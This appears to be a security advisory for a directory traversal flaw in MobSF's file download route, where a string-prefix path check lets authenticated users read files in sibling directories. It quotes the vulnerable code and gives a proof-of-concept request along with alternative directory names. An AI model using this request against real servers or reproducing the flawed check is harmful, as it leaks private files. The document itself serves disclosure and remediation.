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PYSEC-2026-1672
No affected components available
Summary
The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.
Details
def is_safe_path(safe_root, check_path):
safe_root = os.path.realpath(os.path.normpath(safe_root))
check_path = os.path.realpath(os.path.normpath(check_path))
return os.path.commonprefix([check_path, safe_root]) == safe_root
commonprefix compares raw strings, not path components. For:
safe_root = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt
the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:
# MobSF/views/home.py
@login_required
def download(request):
root = settings.DWD_DIR
filename = request.path.replace('/download/', '', 1)
dwd_file = Path(root) / filename # absolute 'filename' ignores 'root'
if '../' in filename or not is_safe_path(root, dwd_file):
return HttpResponseForbidden(...)
ext = dwd_file.suffix
if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
return file_download(dwd_file, ...)
If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.
Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS
PoC
Prereqs: authenticated user; standard install. Assume:
settings.DWD_DIR = /home/mobsf/.MobSF/downloads
Prepare a sibling directory with the same string prefix and a test file:
mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt
As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):
GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>
Other working sibling directory names (if present):
…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)
Impact
Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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